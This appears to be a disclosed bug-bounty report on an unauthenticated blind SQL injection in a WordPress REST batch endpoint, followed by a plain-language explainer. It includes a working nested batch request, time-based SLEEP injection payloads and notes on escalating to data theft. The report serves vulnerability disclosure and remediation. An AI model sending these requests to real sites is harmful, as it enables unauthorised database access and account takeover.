Unauthenticated SQL Injection via REST Batch Route Confusion ████████
The WordPress REST batch endpoint on the target desynchronises route dispatch when a sub-request path fails to parse, so a nested batch can run a categories request through the posts handler. This lets an unauthenticated attacker inject SQL into the author exclusion clause and confirm it with time-based delays.
- Triaged in 40 hours
- Fixed in 44 hours
- Disclosed after 3 days
Summary
The WordPress REST API batch endpoint (/wp-json/batch/v1) on ████████ is vulnerable to an unauthenticated blind SQL injection. By nesting a crafted batch payload, an attacker triggers a route-dispatch desynchronisation that causes a user-controlled string to bypass parameter sanitisation and reach a raw SQL NOT IN (...) clause. No authentication, cookies, or tokens are required.
Root Cause
Two flaws chain together:
-
Batch dispatch index desync When a sub-request path fails
parse_url(), the error result is not pushed into the internal$matchesarray, but the dispatch loop still increments its index. This causes sub-request N to execute with the handler registered for sub-request N+1. -
Missing type guard on
author__not_inWP_Querychecksif (! empty($q['author__not_in']))but does not verify it is an array. When a string value arrives (via the desynchronised route), it skips the per-elementabsint()cast and is concatenated directly into the SQL query:SQL AND wp_posts.post_author NOT IN ( <attacker-controlled> )
By embedding a second batch layer inside a POST /wp/v2/categories body, the inner sub-requests are re-dispatched with shifted handlers, allowing a GET /wp/v2/categories?author_exclude=<SQLI> to execute as a posts query with raw injection.
Proof of Concept
Step 1 —Version fingerprint
GET /feed/ HTTP/1.1
Host: ████████
Response contains:
<generator>https://wordpress.org/?v=7.0</generator>
WordPress 7.0 affected version.
Step 2 Structural confirmation (non-destructive)
POST /wp-json/batch/v1 HTTP/1.1
Host: ████████
Content-Type: application/json
{"validation":"normal","requests":[
{"path":":","method":"POST"},
{"path":"/wp/v2/categories","method":"POST","body":{
"name":"x","requests":[
{"path":":","method":"GET"},
{"path":"/wp/v2/categories?author_exclude=1","method":"GET"},
{"path":"/wp/v2/posts","method":"GET"}
]}},
{"path":"/batch/v1","method":"POST"}
]}
Response (HTTP 207):
[0] status=400 code=parse_path_failed ← invalid path ":" triggers desync
[1] status=207 → NESTED BATCH ENVELOPE ← route confusion confirmed
[0] status=400 code=parse_path_failed
[1] status=200 → 10 posts returned ← author__not_in=1 reached the DB
[2] status=500 code=rest_invalid_handler
[2] status=400 code=rest_batch_not_allowed
The nested "responses" array (batch-inside-batch) with parse_path_failed markers proves the dispatch desynchronisation executed. A patched server returns a flat envelope with rest_cannot_create.
Step 3 Time-based SQL injection confirmation
Injection point: author_exclude=1) OR SLEEP(N)-- -
Same request as Step 2, replacing author_exclude=1 with the payloads below:
| Payload | Response Time | HTTP | Notes |
|---|---|---|---|
1 (baseline) |
0.46 s | 207 | No SQL function |
1) OR SLEEP(0)-- - |
0.49 s | 207 | SQL parsed, zero delay |
1) OR SLEEP(0)-- - (repeat) |
0.54 s | 207 | Consistent baseline |
1) OR SLEEP(0.01)-- - |
9.12 s | 207 | ~860 rows × 0.01s |
1) OR SLEEP(0.3)-- - |
>30 s | timeout | ~860 rows × 0.3s |
1) OR SLEEP(3)-- - |
>60 s | timeout | ~860 rows × 3s |
The differential between SLEEP(0) (0.5s) and SLEEP(0.01) (9.1s) identical SQL structure, only the delay constant differs proves the injected function executes on the MySQL backend. The per-row multiplication (~860 matching posts) confirms injection inside a WP_Query result-set evaluation.
Testing Discipline
All testing was non-destructive: structural detection with a benign value (1), timing oracle (SLEEP), and version fingerprinting from public metadata. No database content was extracted. No user data or PII was accessed.
Impact
An unauthenticated attacker can read any data accessible to the WordPress database account:
wp_userspassword hashes → offline cracking → admin account takeoverwp_usermetasession tokens, application passwords → direct session hijackwp_optionsAPI keys, plugin secrets, site configuration- On deployments where the MySQL account holds
FILEprivilege with webroot access, this escalates to remote code execution viaSELECT ... INTO OUTFILE
Remediation
- Update WordPress to the latest patched release (7.0.2+ / 6.9.5+ / 6.8.6+).
- Interim: block unauthenticated
POSTto/wp-json/batch/v1and/?rest_route=/batch/v1at the reverse proxy or WAF. - Audit and restrict the MySQL account's privileges revoke
FILEif granted.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely a batch dispatch index desync combined with a missing array type check on the author exclusion parameter, allowing a string to reach a raw SQL NOT IN clause.
Impact
An unauthenticated attacker could read any data accessible to the WordPress database account, including password hashes and session tokens, and may escalate to remote code execution if the database account has FILE privilege.
What the attacker needed
Network access to the target; WordPress 7.0 affected version
The fix
WordPress should be updated to a patched release, and as an interim measure unauthenticated POST requests to the batch endpoint should be blocked.
How it was found
- Request the feed to fingerprint the WordPress version.
- Send a nested batch request containing an invalid path and a categories sub-request with an author exclusion value.
- Observe the nested batch envelope and parse_path_failed markers confirming route confusion.
- Replace the author exclusion value with a time-based SQL payload and compare response times.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
The site's batch feature lets one request contain several smaller requests. A parsing mistake makes the server run each smaller request with the wrong handler, so a value meant for one feature reaches a database query without being cleaned. An attacker can then make the database wait on purpose to prove the injection works.
What is SQL injection?
Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.